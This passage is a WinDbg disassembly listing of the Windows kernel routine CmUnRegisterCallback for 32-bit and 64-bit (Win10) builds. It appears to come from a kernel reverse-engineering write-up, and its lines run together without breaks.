e8528bc4ff call nt!KeAbPreAcquire (81b30a20)81ee7ece 8bc8 mov ecx,eax81ee7ed0 894dd0 mov dword ptr [ebp-30h],ecx81ee7ed3 f00fba2f00 lock bts dword ptr [edi],081ee7ed8 730d jae nt!CmUnRegisterCallback+0x258 (81ee7ee7)nt!CmUnRegisterCallback+0x24b:81ee7eda 57 push edi81ee7edb 8bd1 mov edx,ecx81ee7edd 8bcf mov ecx,edi81ee7edf e81c75bbff call nt!ExfAcquirePushLockExclusiveEx (81a9f400)81ee7ee4 8b4dd0 mov ecx,dword ptr [ebp-30h]nt!CmUnRegisterCallback+0x258:81ee7ee7 85c9 test ecx,ecx81ee7ee9 7407 je nt!CmUnRegisterCallback+0x263 (81ee7ef2)nt!CmUnRegisterCallback+0x25c:81ee7eeb 8b4110 mov eax,dword ptr [ecx+10h]81ee7eee 80490e01 or byte ptr [ecx+0Eh],1nt!CmUnRegisterCallback+0x263:81ee7ef2 8d4628 lea eax,[esi+28h]81ee7ef5 8b38 mov edi,dword ptr [eax]81ee7ef7 3bf8 cmp edi,eax81ee7ef9 0f8485000000 je nt!CmUnRegisterCallback+0x2f5 (81ee7f84)nt!CmUnRegisterCallback+0x270:81ee7eff 8b07 mov eax,dword ptr [edi]81ee7f01 8945d0 mov dword ptr [ebp-30h],eax81ee7f04 8b4f14 mov ecx,dword ptr [edi+14h]81ee7f07 e85430c4ff call nt!ObReferenceObjectSafe (81b2af60)81ee7f0c 84c0 test al,al81ee7f0e 7462 je nt!CmUnRegisterCallback+0x2e3 (81ee7f72)nt!CmUnRegisterCallback+0x281:81ee7f10 8d47f8 lea eax,[edi-8]81ee7f13 8d4808 lea ecx,[eax+8]81ee7f16 8b11 mov edx,dword ptr [ecx]81ee7f18 8955e0 mov dword ptr [ebp-20h],edx81ee7f1b 8b5104 mov edx,dword ptr [ecx+4]81ee7f1e 8b75e0 mov esi,dword ptr [ebp-20h]81ee7f21 394e04 cmp dword ptr [esi+4],ecx81ee7f24 8b75dc mov esi,dword ptr [ebp-24h]81ee7f27 0f85fcfeffff jne nt!CmUnRegisterCallback+0x19a (81ee7e29)nt!CmUnRegisterCallback+0x29e:81ee7f2d 390a cmp dword ptr [edx],ecx81ee7f2f 0f85f4feffff jne nt!CmUnRegisterCallback+0x19a (81ee7e29)nt!CmUnRegisterCallback+0x2a6:81ee7f35 8b4de0 mov ecx,dword ptr [ebp-20h]81ee7f38 890a mov dword ptr [edx],ecx81ee7f3a 895104 mov dword ptr [ecx+4],edx81ee7f3d 8b10 mov edx,dword ptr [eax]81ee7f3f 8b4804 mov ecx,dword ptr [eax+4]81ee7f42 394204 cmp dword ptr [edx+4],eax81ee7f45 0f85defeffff jne nt!CmUnRegisterCallback+0x19a (81ee7e29)nt!CmUnRegisterCallback+0x2bc:81ee7f4b 3901 cmp dword ptr [ecx],eax81ee7f4d 0f85d6feffff jne nt!CmUnRegisterCallback+0x19a (81ee7e29)nt!CmUnRegisterCallback+0x2c4:81ee7f53 8911 mov dword ptr [ecx],edx81ee7f55 894a04 mov dword ptr [edx+4],ecx81ee7f58 8b45cc mov eax,dword ptr [ebp-34h]81ee7f5b 8d4dc8 lea ecx,[ebp-38h]81ee7f5e 890f mov dword ptr [edi],ecx81ee7f60 894704 mov dword ptr [edi+4],eax81ee7f63 3908 cmp dword ptr [eax],ecx81ee7f65 0f85befeffff jne nt!CmUnRegisterCallback+0x19a (81ee7e29)nt!CmUnRegisterCallback+0x2dc:81ee7f6b 8938 mov dword ptr [eax],edi81ee7f6d 897dcc mov dword ptr [ebp-34h],edi81ee7f70 eb04 jmp nt!CmUnRegisterCallback+0x2e7 (81ee7f76)nt!CmUnRegisterCallback+0x2e3:81ee7f72 c645e701 mov byte ptr [ebp-19h],1nt!CmUnRegisterCallback+0x2e7:81ee7f76 8b7dd0 mov edi,dword ptr [ebp-30h]81ee7f79 8d4628 lea eax,[esi+28h]81ee7f7c 3bf8 cmp edi,eax81ee7f7e 0f857bffffff jne nt!CmUnRegisterCallback+0x270 (81ee7eff)nt!CmUnRegisterCallback+0x2f5:81ee7f84 8b0d9c17cb81 mov ecx,dword ptr [nt!CmpContextListLock (81cb179c)]81ee7f8a 8bc1 mov eax,ecx81ee7f8c 83e0f0 and eax,0FFFFFFF0h81ee7f8f 83f810 cmp eax,10h81ee7f92 8d51f0 lea edx,[ecx-10h]81ee7f95 7702 ja nt!CmUnRegisterCallback+0x30a (81ee7f99)nt!CmUnRegisterCallback+0x308:81ee7f97 8bd3 mov edx,ebxnt!CmUnRegisterCallback+0x30a:81ee7f99 bf9c17cb81 mov edi,offset nt!CmpContextListLock (81cb179c)81ee7f9e f6c102 test cl,281ee7fa1 750a jne nt!CmUnRegisterCallback+0x31e (81ee7fad)nt!CmUnRegisterCallback+0x314:81ee7fa3 8bc1 mov eax,ecx81ee7fa5 f00fb117 lock cmpxchg dword ptr [edi],edx81ee7fa9 3bc1 cmp eax,ecx81ee7fab 7407 je nt!CmUnRegisterCallback+0x325 (81ee7fb4)nt!CmUnRegisterCallback+0x31e:81ee7fad 8bcf mov ecx,edi81ee7faf e8cc84bbff call nt!ExfReleasePushLock (81aa0480)nt!CmUnRegisterCallback+0x325:81ee7fb4 8bcf mov ecx,edi81ee7fb6 e8a586c4ff call nt!KeAbPostRelease (81b30660)81ee7fbb 648b0d24010000 mov ecx,dword ptr fs:[124h]81ee7fc2 0fbf813c010000 movsx eax,word ptr [ecx+13Ch]81ee7fc9 40 inc eax81ee7fca 6689813c010000 mov word ptr [ecx+13Ch],ax81ee7fd1 6685c0 test ax,ax81ee7fd4 7515 jne nt!CmUnRegisterCallback+0x35c (81ee7feb)nt!CmUnRegisterCallback+0x347:81ee7fd6 8d4170 lea eax,[ecx+70h]81ee7fd9 3900 cmp dword ptr [eax],eax81ee7fdb 740e je nt!CmUnRegisterCallback+0x35c (81ee7feb)nt!CmUnRegisterCallback+0x34e:81ee7fdd 6639993e010000 cmp word ptr [ecx+13Eh],bx81ee7fe4 7505 jne nt!CmUnRegisterCallback+0x35c (81ee7feb)nt!CmUnRegisterCallback+0x357:81ee7fe6 e82178bbff call nt!KiCheckForKernelApcDelivery (81a9f80c)nt!CmUnRegisterCallback+0x35c:81ee7feb 8d4dc8 lea ecx,[ebp-38h]81ee7fee 8b45c8 mov eax,dword ptr [ebp-38h]81ee7ff1 3bc1 cmp eax,ecx81ee7ff3 747c je nt!CmUnRegisterCallback+0x3e2 (81ee8071)nt!CmUnRegisterCallback+0x366:81ee7ff5 8b08 mov ecx,dword ptr [eax]81ee7ff7 8d55c8 lea edx,[ebp-38h]81ee7ffa 395004 cmp dword ptr [eax+4],edx81ee7ffd 0f8526feffff jne nt!CmUnRegisterCallback+0x19a (81ee7e29)nt!CmUnRegisterCallback+0x374:81ee8003 394104 cmp dword ptr [ecx+4],eax81ee8006 0f851dfeffff jne nt!CmUnRegisterCallback+0x19a (81ee7e29)nt!CmUnRegisterCallback+0x37d:81ee800c 894dc8 mov dword ptr [ebp-38h],ecx81ee800f 895104 mov dword ptr [ecx+4],edx81ee8012 8d48f8 lea ecx,[eax-8]81ee8015 894de0 mov dword ptr [ebp-20h],ecx81ee8018 8b411c mov eax,dword ptr [ecx+1Ch]81ee801b 8945bc mov dword ptr [ebp-44h],eax81ee801e 8b4120 mov eax,dword ptr [ecx+20h]81ee8021 8945c0 mov dword ptr [ebp-40h],eax81ee8024 895dfc mov dword ptr [ebp-4],ebx81ee8027 8d45bc lea eax,[ebp-44h]81ee802a 50 push eax81ee802b 6a28 push 28h81ee802d ff7618 push dword ptr [esi+18h]81ee8030 ff561c call dword ptr [esi+1Ch]81ee8033 c745fcfeffffff mov dword ptr [ebp-4],0FFFFFFFEh81ee803a eb18 jmp nt!CmUnRegisterCallback+0x3c5 (81ee8054)nt!CmUnRegisterCallback+0x3c5:81ee8054 8b4de0 mov ecx,dword ptr [ebp-20h]81ee8057 8b491c mov ecx,dword ptr [ecx+1Ch]81ee805a e8713bc4ff call nt!ObfDereferenceObject (81b2bbd0)81ee805f 68434d6363 push 63634D43h81ee8064 ff75e0 push dword ptr [ebp-20h]81ee8067 e8b49fdaff call nt!ExFreePoolWithTag (81c92020)81ee806c e97affffff jmp nt!CmUnRegisterCallback+0x35c (81ee7feb)nt!CmUnRegisterCallback+0x3e2:81ee8071 807de700 cmp byte ptr [ebp-19h],081ee8075 0f84d4000000 je nt!CmUnRegisterCallback+0x4c0 (81ee814f)nt!CmUnRegisterCallback+0x3ec:81ee807b 8d4628 lea eax,[esi+28h]81ee807e 8945d0 mov dword ptr [ebp-30h],eax81ee8081 8bf0 mov esi,eaxnt!CmUnRegisterCallback+0x3f4:81ee8083 64a124010000 mov eax,dword ptr fs:[00000124h]81ee8089 66ff883c010000 dec word ptr [eax+13Ch]81ee8090 53 push ebx81ee8091 33d2 xor edx,edx81ee8093 8bcf mov ecx,edi81ee8095 e88689c4ff call nt!KeAbPreAcquire (81b30a20)81ee809a 8bc8 mov ecx,eax81ee809c 894dd0 mov dword ptr [ebp-30h],ecx81ee809f f00fba2f00 lock bts dword ptr [edi],081ee80a4 730d jae nt!CmUnRegisterCallback+0x424 (81ee80b3)nt!CmUnRegisterCallback+0x417:81ee80a6 57 push edi81ee80a7 8bd1 mov edx,ecx81ee80a9 8bcf mov ecx,edi81ee80ab e85073bbff call nt!ExfAcquirePushLockExclusiveEx (81a9f400)81ee80b0 8b4dd0 mov ecx,dword ptr [ebp-30h]nt!CmUnRegisterCallback+0x424:81ee80b3 85c9 test ecx,ecx81ee80b5 7407 je nt!CmUnRegisterCallback+0x42f (81ee80be)nt!CmUnRegisterCallback+0x428:81ee80b7 8b4110 mov eax,dword ptr [ecx+10h]81ee80ba 80490e01 or byte ptr [ecx+0Eh],1nt!CmUnRegisterCallback+0x42f:81ee80be 8b06 mov eax,dword ptr [esi]81ee80c0 8945d8 mov dword ptr [ebp-28h],eax81ee80c3 8b0d9c17cb81 mov ecx,dword ptr [nt!CmpContextListLock (81cb179c)]81ee80c9 8bc1 mov eax,ecx81ee80cb 83e0f0 and eax,0FFFFFFF0h81ee80ce 83f810 cmp eax,10h81ee80d1 8d51f0 lea edx,[ecx-10h]81ee80d4 7702 ja nt!CmUnRegisterCallback+0x449 (81ee80d8)nt!CmUnRegisterCallback+0x447:81ee80d6 8bd3 mov edx,ebxnt!CmUnRegisterCallback+0x449:81ee80d8 f6c102 test cl,281ee80db 750a jne nt!CmUnRegisterCallback+0x458 (81ee80e7)nt!CmUnRegisterCallback+0x44e:81ee80dd 8bc1 mov eax,ecx81ee80df f00fb117 lock cmpxchg dword ptr [edi],edx81ee80e3 3bc1 cmp eax,ecx81ee80e5 7407 je nt!CmUnRegisterCallback+0x45f (81ee80ee)nt!CmUnRegisterCallback+0x458:81ee80e7 8bcf mov ecx,edi81ee80e9 e89283bbff call nt!ExfReleasePushLock (81aa0480)nt!CmUnRegisterCallback+0x45f:81ee80ee 8bcf mov ecx,edi81ee80f0 e86b85c4ff call nt!KeAbPostRelease (81b30660)81ee80f5 648b0d24010000 mov ecx,dword ptr fs:[124h]81ee80fc 0fbf813c010000 movsx eax,word ptr [ecx+13Ch]81ee8103 40 inc eax81ee8104 6689813c010000 mov word ptr [ecx+13Ch],ax81ee810b 6685c0 test ax,ax81ee810e 7515 jne nt!CmUnRegisterCallback+0x496 (81ee8125)nt!CmUnRegisterCallback+0x481:81ee8110 8d4170 lea eax,[ecx+70h]81ee8113 3900 cmp dword ptr [eax],eax81ee8115 740e je nt!CmUnRegisterCallback+0x496 (81ee8125)nt!CmUnRegisterCallback+0x488:81ee8117 6639993e010000 cmp word ptr [ecx+13Eh],bx81ee811e 7505 jne nt!CmUnRegisterCallback+0x496 (81ee8125)nt!CmUnRegisterCallback+0x491:81ee8120 e8e776bbff call nt!KiCheckForKernelApcDelivery (81a9f80c)nt!CmUnRegisterCallback+0x496:81ee8125 3975d8 cmp dword ptr [ebp-28h],esi81ee8128 7415 je nt!CmUnRegisterCallback+0x4b0 (81ee813f)nt!CmUnRegisterCallback+0x49b:81ee812a 53 push ebx81ee812b 6a04 push 481ee812d 8d45d8 lea eax,[ebp-28h]81ee8130 50 push eax81ee8131 8bd6 mov edx,esi81ee8133 b9a817cb81 mov ecx,offset nt!CallbackListDeleteEvent (81cb17a8)81ee8138 e83b12c1ff call nt!ExBlockOnAddressPushLock (81af9378)81ee813d eb03 jmp nt!CmUnRegisterCallback+0x4b3 (81ee8142)nt!CmUnRegisterCallback+0x4b0:81ee813f 885de7 mov byte ptr [ebp-19h],blnt!CmUnRegisterCallback+0x4b3:81ee8142 807de700 cmp byte ptr [ebp-19h],081ee8146 0f8537ffffff jne nt!CmUnRegisterCallback+0x3f4 (81ee8083)nt!CmUnRegisterCallback+0x4bd:81ee814c 8b75dc mov esi,dword ptr [ebp-24h]nt!CmUnRegisterCallback+0x4c0:81ee814f 83c8ff or eax,0FFFFFFFFh81ee8152 f00fc105b87ecb81 lock xadd dword ptr [nt!CmpCallBackCount (81cb7eb8)],eax81ee815a 48 dec eax81ee815b 751d jne nt!CmUnRegisterCallback+0x4eb (81ee817a)nt!CmUnRegisterCallback+0x4ce:81ee815d b9b817cb81 mov ecx,offset nt!CmpCallbackContextSList (81cb17b8)81ee8162 e809a5cbff call nt!ExInterlockedFlushSList (81ba2670)81ee8167 8bf8 mov edi,eax81ee8169 eb0b jmp nt!CmUnRegisterCallback+0x4e7 (81ee8176)nt!CmUnRegisterCallback+0x4dc:81ee816b 8bcf mov ecx,edi81ee816d 8b3f mov edi,dword ptr [edi]81ee816f 53 push ebx81ee8170 51 push ecx81ee8171 e8aa9edaff call nt!ExFreePoolWithTag (81c92020)nt!CmUnRegisterCallback+0x4e7:81ee8176 85ff test edi,edi81ee8178 75f1 jne nt!CmUnRegisterCallback+0x4dc (81ee816b)nt!CmUnRegisterCallback+0x4eb:81ee817a 8b4624 mov eax,dword ptr [esi+24h]81ee817d 85c0 test eax,eax81ee817f 7407 je nt!CmUnRegisterCallback+0x4f9 (81ee8188)nt!CmUnRegisterCallback+0x4f2:81ee8181 53 push ebx81ee8182 50 push eax81ee8183 e8989edaff call nt!ExFreePoolWithTag (81c92020)nt!CmUnRegisterCallback+0x4f9:81ee8188 53 push ebx81ee8189 56 push esi81ee818a e8919edaff call nt!ExFreePoolWithTag (81c92020)81ee818f 8b45d4 mov eax,dword ptr [ebp-2Ch]81ee8192 eb67 jmp nt!CmUnRegisterCallback+0x56c (81ee81fb)nt!CmUnRegisterCallback+0x505:81ee8194 8b0d9817cb81 mov ecx,dword ptr [nt!CmpCallbackListLock (81cb1798)]81ee819a 8bc1 mov eax,ecx81ee819c 83e0f0 and eax,0FFFFFFF0h81ee819f 83f810 cmp eax,10h81ee81a2 8d51f0 lea edx,[ecx-10h]81ee81a5 7702 ja nt!CmUnRegisterCallback+0x51a (81ee81a9)nt!CmUnRegisterCallback+0x518:81ee81a7 8bd3 mov edx,ebxnt!CmUnRegisterCallback+0x51a:81ee81a9 f6c102 test cl,281ee81ac 750a jne nt!CmUnRegisterCallback+0x529 (81ee81b8)nt!CmUnRegisterCallback+0x51f:81ee81ae 8bc1 mov eax,ecx81ee81b0 f00fb117 lock cmpxchg dword ptr [edi],edx81ee81b4 3bc1 cmp eax,ecx81ee81b6 7407 je nt!CmUnRegisterCallback+0x530 (81ee81bf)nt!CmUnRegisterCallback+0x529:81ee81b8 8bcf mov ecx,edi81ee81ba e8c182bbff call nt!ExfReleasePushLock (81aa0480)nt!CmUnRegisterCallback+0x530:81ee81bf 8bcf mov ecx,edi81ee81c1 e89a84c4ff call nt!KeAbPostRelease (81b30660)81ee81c6 648b0d24010000 mov ecx,dword ptr fs:[124h]81ee81cd 0fbf813c010000 movsx eax,word ptr [ecx+13Ch]81ee81d4 40 inc eax81ee81d5 6689813c010000 mov word ptr [ecx+13Ch],ax81ee81dc 6685c0 test ax,ax81ee81df 7515 jne nt!CmUnRegisterCallback+0x567 (81ee81f6)nt!CmUnRegisterCallback+0x552:81ee81e1 8d4170 lea eax,[ecx+70h]81ee81e4 3900 cmp dword ptr [eax],eax81ee81e6 740e je nt!CmUnRegisterCallback+0x567 (81ee81f6)nt!CmUnRegisterCallback+0x559:81ee81e8 6639993e010000 cmp word ptr [ecx+13Eh],bx81ee81ef 7505 jne nt!CmUnRegisterCallback+0x567 (81ee81f6)nt!CmUnRegisterCallback+0x562:81ee81f1 e81676bbff call nt!KiCheckForKernelApcDelivery (81a9f80c)nt!CmUnRegisterCallback+0x567:81ee81f6 b80d0000c0 mov eax,0C000000Dhnt!CmUnRegisterCallback+0x56c:81ee81fb e8f545cbff call nt!_SEH_epilog4 (81b9c7f5)81ee8200 c20800 ret 8
    Win10 64 位 CmUnRegisterCallbackkd> uf CmUnRegisterCallbacknt!CmUnRegisterCallback:fffff800`a0a5b718 4c8bdc mov r11,rspfffff800`a0a5b71b 49894b08 mov qword ptr [r11+8],rcxfffff800`a0a5b71f 53 push rbxfffff800`a0a5b720 56 push rsifffff800`a0a5b721 57 push rdifffff800`a0a5b722 4154 push r12fffff800`a0a5b724 4155 push r13fffff800`a0a5b726 4156 push r14fffff800`a0a5b728 4157 push r15fffff800`a0a5b72a 4881ec80000000 sub rsp,80hfffff800`a0a5b731 498363a800 and qword ptr [r11-58h],0fffff800`a0a5b736 33c0 xor eax,eaxfffff800`a0a5b738 498943b0 mov qword ptr [r11-50h],raxfffff800`a0a5b73c 498943b8 mov qword ptr [r11-48h],raxfffff800`a0a5b740 49214380 and qword ptr [r11-80h],raxfffff800`a0a5b744 e8a318f6ff call nt!CmpLockCallbackListExclusive (fffff800`a09bcfec)fffff800`a0a5b749 be00000080 mov esi,80000000hnt!CmUnRegisterCallback+0x36:fffff800`a0a5b74e 4533c0 xor r8d,r8dfffff800`a0a5b751 488d542438 lea rdx,[rsp+38h]fffff800`a0a5b756 488d0d83cfd1ff lea rcx,[nt!CallbackListHead (fffff800`a07786e0)]fffff800`a0a5b75d e8ba6aefff call nt!CmListGetNextElement (fffff800`a095221c)fffff800`a0a5b762 488bf8 mov rdi,raxfffff800`a0a5b765 4889442440 mov qword ptr [rsp+40h],raxfffff800`a0a5b76a 4885c0 test rax,raxfffff800`a0a5b76d 0f84c8020000 je nt!CmUnRegisterCallback+0x323 (fffff800`a0a5ba3b)nt!CmUnRegisterCallback+0x5b:fffff800`a0a5b773 488b8c24c0000000 mov rcx,qword ptr [rsp+0C0h]fffff800`a0a5b77b 48394818 cmp qword ptr [rax+18h],rcxfffff800`a0a5b77f 75cd jne nt!CmUnRegisterCallback+0x36 (fffff800`a0a5b74e)nt!CmUnRegisterCallback+0x69:fffff800`a0a5b781 8b4810 mov ecx,dword ptr [rax+10h]fffff800`a0a5b784 898c24d0000000 mov dword ptr [rsp+0D0h],ecxfffff800`a0a5b78b 8bc1 mov eax,ecxfffff800`a0a5b78d 85c0 test eax,eaxfffff800`a0a5b78f 7464 je nt!CmUnRegisterCallback+0xdd (fffff800`a0a5b7f5)nt!CmUnRegisterCallback+0x79:fffff800`a0a5b791 85c6 test esi,eaxfffff800`a0a5b793 75b9 jne nt!CmUnRegisterCallback+0x36 (fffff800`a0a5b74e)nt!CmUnRegisterCallback+0x7d:fffff800`a0a5b795 488d5f10 lea rbx,[rdi+10h]fffff800`a0a5b799 f0810b00000080 lock or dword ptr [rbx],80000000hfffff800`a0a5b7a0 e80b92ebff call nt!CmpUnlockCallbackList (fffff800`a09149b0)nt!CmUnRegisterCallback+0x8d:fffff800`a0a5b7a5 8b03 mov eax,dword ptr [rbx]fffff800`a0a5b7a7 898424d0000000 mov dword ptr [rsp+0D0h],eaxfffff800`a0a5b7ae 3bc6 cmp eax,esifffff800`a0a5b7b0 7425 je nt!CmUnRegisterCallback+0xbf (fffff800`a0a5b7d7)nt!CmUnRegisterCallback+0x9a:fffff800`a0a5b7b2 488364242000 and qword ptr [rsp+20h],0fffff800`a0a5b7b8 41b904000000 mov r9d,4fffff800`a0a5b7be 4c8d8424d0000000 lea r8,[rsp+0D0h]fffff800`a0a5b7c6 488bd3 mov rdx,rbxfffff800`a0a5b7c9 488d0d20cfd1ff lea rcx,[nt!CallbackListDeleteEvent (fffff800`a07786f0)]fffff800`a0a5b7d0 e8934fb1ff call nt!ExBlockOnAddressPushLock (fffff800`a0570768)fffff800`a0a5b7d5 ebce jmp nt!CmUnRegisterCallback+0x8d (fffff800`a0a5b7a5)nt!CmUnRegisterCallback+0xbf:fffff800`a0a5b7d7 e81018f6ff call nt!CmpLockCallbackListExclusive (fffff800`a09bcfec)fffff800`a0a5b7dc 488b0f mov rcx,qword ptr [rdi]fffff800`a0a5b7df 488b4708 mov rax,qword ptr [rdi+8]fffff800`a0a5b7e3 48397908 cmp qword ptr [rcx+8],rdifffff800`a0a5b7e7 7505 jne nt!CmUnRegisterCallback+0xd6 (fffff800`a0a5b7ee)nt!CmUnRegisterCallback+0xd1:fffff800`a0a5b7e9 483938 cmp qword ptr [rax],rdifffff800`a0a5b7ec 7421 je nt!CmUnRegisterCallback+0xf7 (fffff800`a0a5b80f)nt!CmUnRegisterCallback+0xd6:fffff800`a0a5b7ee b903000000 mov ecx,3fffff800`a0a5b7f3 cd29 int 29hnt!CmUnRegisterCallback+0xdd:fffff800`a0a5b7f5 488b0f mov rcx,qword ptr [rdi]fffff800`a0a5b7f8 488b4708 mov rax,qword ptr [rdi+8]fffff800`a0a5b7fc 48397908 cmp qword ptr [rcx+8],rdifffff800`a0a5b800 0f852e020000 jne nt!CmUnRegisterCallback+0x31c (fffff800`a0a5ba34)nt!CmUnRegisterCallback+0xee:fffff800`a0a5b806 483938 cmp qword ptr [rax],rdifffff800`a0a5b809 0f8525020000 jne nt!CmUnRegisterCallback+0x31c (fffff800`a0a5ba34)nt!CmUnRegisterCallback+0xf7:fffff800`a0a5b80f 488908 mov qword ptr [rax],rcxfffff800`a0a5b812 48894108 mov qword ptr [rcx+8],raxfffff800`a0a5b816 e89591ebff call nt!CmpUnlockCallbackList (fffff800`a09149b0)fffff800`a0a5b81b 4533ff xor r15d,r15dfffff800`a0a5b81e 4489bc24d8000000 mov dword ptr [rsp+0D8h],r15dfffff800`a0a5b826 488d442450 lea rax,[rsp+50h]fffff800`a0a5b82b 4889442458 mov qword ptr [rsp+58h],raxfffff800`a0a5b830 488d442450 lea rax,[rsp+50h]fffff800`a0a5b835 4889442450 mov qword ptr [rsp+50h],raxfffff800`a0a5b83a 4032f6 xor sil,silfffff800`a0a5b83d 4088b424c8000000 mov byte ptr [rsp+0C8h],silfffff800`a0a5b845 e86a900000 call nt!CmpLockContextListExclusive (fffff800`a0a648b4)fffff800`a0a5b84a 4c8d6740 lea r12,[rdi+40h]fffff800`a0a5b84e 498b1c24 mov rbx,qword ptr [r12]nt!CmUnRegisterCallback+0x13a:fffff800`a0a5b852 48895c2430 mov qword ptr [rsp+30h],rbxfffff800`a0a5b857 493bdc cmp rbx,r12fffff800`a0a5b85a 0f8497000000 je nt!CmUnRegisterCallback+0x1df (fffff800`a0a5b8f7)nt!CmUnRegisterCallback+0x148:fffff800`a0a5b860 4c8b2b mov r13,qword ptr [rbx]fffff800`a0a5b863 4c8d73f0 lea r14,[rbx-10h]fffff800`a0a5b867 498b4e30 mov rcx,qword ptr [r14+30h]fffff800`a0a5b86b e85017aeff call nt!ObReferenceObjectSafe (fffff800`a053cfc0)fffff800`a0a5b870 84c0 test al,alfffff800`a0a5b872 745b je nt!CmUnRegisterCallback+0x1b7 (fffff800`a0a5b8cf)nt!CmUnRegisterCallback+0x15c:fffff800`a0a5b874 498d4610 lea rax,[r14+10h]fffff800`a0a5b878 488b10 mov rdx,qword ptr [rax]fffff800`a0a5b87b 488b4808 mov rcx,qword ptr [rax+8]fffff800`a0a5b87f 48394208 cmp qword ptr [rdx+8],raxfffff800`a0a5b883 756b jne nt!CmUnRegisterCallback+0x1d8 (fffff800`a0a5b8f0)nt!CmUnRegisterCallback+0x16d:fffff800`a0a5b885 483901 cmp qword ptr [rcx],raxfffff800`a0a5b888 7566 jne nt!CmUnRegisterCallback+0x1d8 (fffff800`a0a5b8f0)nt!CmUnRegisterCallback+0x172:fffff800`a0a5b88a 488911 mov qword ptr [rcx],rdxfffff800`a0a5b88d 48894a08 mov qword ptr [rdx+8],rcxfffff800`a0a5b891 498b0e mov rcx,qword ptr [r14]fffff800`a0a5b894 498b4608 mov rax,qword ptr [r14+8]fffff800`a0a5b898 4c397108 cmp qword ptr [rcx+8],r14fffff800`a0a5b89c 754b jne nt!CmUnRegisterCallback+0x1d1 (fffff800`a0a5b8e9)nt!CmUnRegisterCallback+0x186:fffff800`a0a5b89e 4c3930 cmp qword ptr [rax],r14fffff800`a0a5b8a1 7546 jne nt!CmUnRegisterCallback+0x1d1 (fffff800`a0a5b8e9)nt!CmUnRegisterCallback+0x18b:fffff800`a0a5b8a3 488908 mov qword ptr [rax],rcxfffff800`a0a5b8a6 48894108 mov qword ptr [rcx+8],raxfffff800`a0a5b8aa 488b442458 mov rax,qword ptr [rsp+58h]fffff800`a0a5b8af 488d4c2450 lea rcx,[rsp+50h]fffff800`a0a5b8b4 48890b mov qword ptr [rbx],rcxfffff800`a0a5b8b7 48894308 mov qword ptr [rbx+8],raxfffff800`a0a5b8bb 488d4c2450 lea rcx,[rsp+50h]fffff800`a0a5b8c0 483908 cmp qword ptr [rax],rcxfffff800`a0a5b8c3 751d jne nt!CmUnRegisterCallback+0x1ca (fffff800`a0a5b8e2)nt!CmUnRegisterCallback+0x1ad:fffff800`a0a5b8c5 488918 mov qword ptr [rax],rbxfffff800`a0a5b8c8 48895c2458 mov qword ptr [rsp+58h],rbxfffff800`a0a5b8cd eb0b jmp nt!CmUnRegisterCallback+0x1c2 (fffff800`a0a5b8da)nt!CmUnRegisterCallback+0x1b7:fffff800`a0a5b8cf 40b601 mov sil,1fffff800`a0a5b8d2 4088b424c8000000 mov byte ptr [rsp+0C8h],silnt!CmUnRegisterCallback+0x1c2:fffff800`a0a5b8da 498bdd mov rbx,r13fffff800`a0a5b8dd e970ffffff jmp nt!CmUnRegisterCallback+0x13a (fffff800`a0a5b852)nt!CmUnRegisterCallback+0x1ca:fffff800`a0a5b8e2 b903000000 mov ecx,3fffff800`a0a5b8e7 cd29 int 29hnt!CmUnRegisterCallback+0x1d1:fffff800`a0a5b8e9 b903000000 mov ecx,3fffff800`a0a5b8ee cd29 int 29hnt!CmUnRegisterCallback+0x1d8:fffff800`a0a5b8f0 b903000000 mov ecx,3fffff800`a0a5b8f5 cd29 int 29hnt!CmUnRegisterCallback+0x1df:fffff800`a0a5b8f7 e8d0910000 call nt!CmpUnlockContextList (fffff800`a0a64acc)nt!CmUnRegisterCallback+0x1e4:fffff800`a0a5b8fc 488d4c2450 lea rcx,[rsp+50h]fffff800`a0a5b901 488b442450 mov rax,qword ptr [rsp+50h]fffff800`a0a5b906 483bc1 cmp rax,rcxfffff800`a0a5b909 0f848c000000 je nt!CmUnRegisterCallback+0x283 (fffff800`a0a5b99b)nt!CmUnRegisterCallback+0x1f7:fffff800`a0a5b90f 488b08 mov rcx,qword ptr [rax]fffff800`a0a5b912 488d542450 lea rdx,[rsp+50h]fffff800`a0a5b917 48395008 cmp qword ptr [rax+8],rdxfffff800`a0a5b91b 7577 jne nt!CmUnRegisterCallback+0x27c (fffff800`a0a5b994)nt!CmUnRegisterCallback+0x205:fffff800`a0a5b91d 48394108 cmp qword ptr [rcx+8],raxfffff800`a0a5b921 7571 jne nt!CmUnRegisterCallback+0x27c (fffff800`a0a5b994)nt!CmUnRegisterCallback+0x20b:fffff800`a0a5b923 48894c2450 mov qword ptr [rsp+50h],rcxfffff800`a0a5b928 488d542450 lea rdx,[rsp+50h]fffff800`a0a5b92d 48895108 mov qword ptr [rcx+8],rdxfffff800`a0a5b931 488d58f0 lea rbx,[rax-10h]fffff800`a0a5b935 48895c2448 mov qword ptr [rsp+48h],rbxfffff800`a0a5b93a 488b4330 mov rax,qword ptr [rbx+30h]fffff800`a0a5b93e 4889442460 mov qword ptr [rsp+60h],raxfffff800`a0a5b943 488b4338 mov rax,qword ptr [rbx+38h]fffff800`a0a5b947 4889442468 mov qword ptr [rsp+68h],raxfffff800`a0a5b94c 4c8d442460 lea r8,[rsp+60h]fffff800`a0a5b951 ba28000000 mov edx,28hfffff800`a0a5b956 488b4f20 mov rcx,qword ptr [rdi+20h]fffff800`a0a5b95a ff5728 call qword ptr [rdi+28h]fffff800`a0a5b95d eb1a jmp nt!CmUnRegisterCallback+0x261 (fffff800`a0a5b979)nt!CmUnRegisterCallback+0x261:fffff800`a0a5b979 488b4b30 mov rcx,qword ptr [rbx+30h]fffff800`a0a5b97d e87e2da7ff call nt!ObfDereferenceObject (fffff800`a04ce700)fffff800`a0a5b982 ba434d6363 mov edx,63634D43hfffff800`a0a5b987 488bcb mov rcx,rbxfffff800`a0a5b98a e87126c5ff call nt!ExFreePoolWithTag (fffff800`a06ae000)fffff800`a0a5b98f e968ffffff jmp nt!CmUnRegisterCallback+0x1e4 (fffff800`a0a5b8fc)nt!CmUnRegisterCallback+0x27c:fffff800`a0a5b994 b903000000 mov ecx,3fffff800`a0a5b999 cd29 int 29hnt!CmUnRegisterCallback+0x283:fffff800`a0a5b99b 4084f6 test sil,silfffff800`a0a5b99e 7442 je nt!CmUnRegisterCallback+0x2ca (fffff800`a0a5b9e2)nt!CmUnRegisterCallback+0x288:fffff800`a0a5b9a0 e80f8f0000 call nt!CmpLockContextListExclusive (fffff800`a0a648b4)fffff800`a0a5b9a5 4c8d7740 lea r14,[rdi+40h]fffff800`a0a5b9a9 498b1e mov rbx,qword ptr [r14]fffff800`a0a5b9ac 48895c2430 mov qword ptr 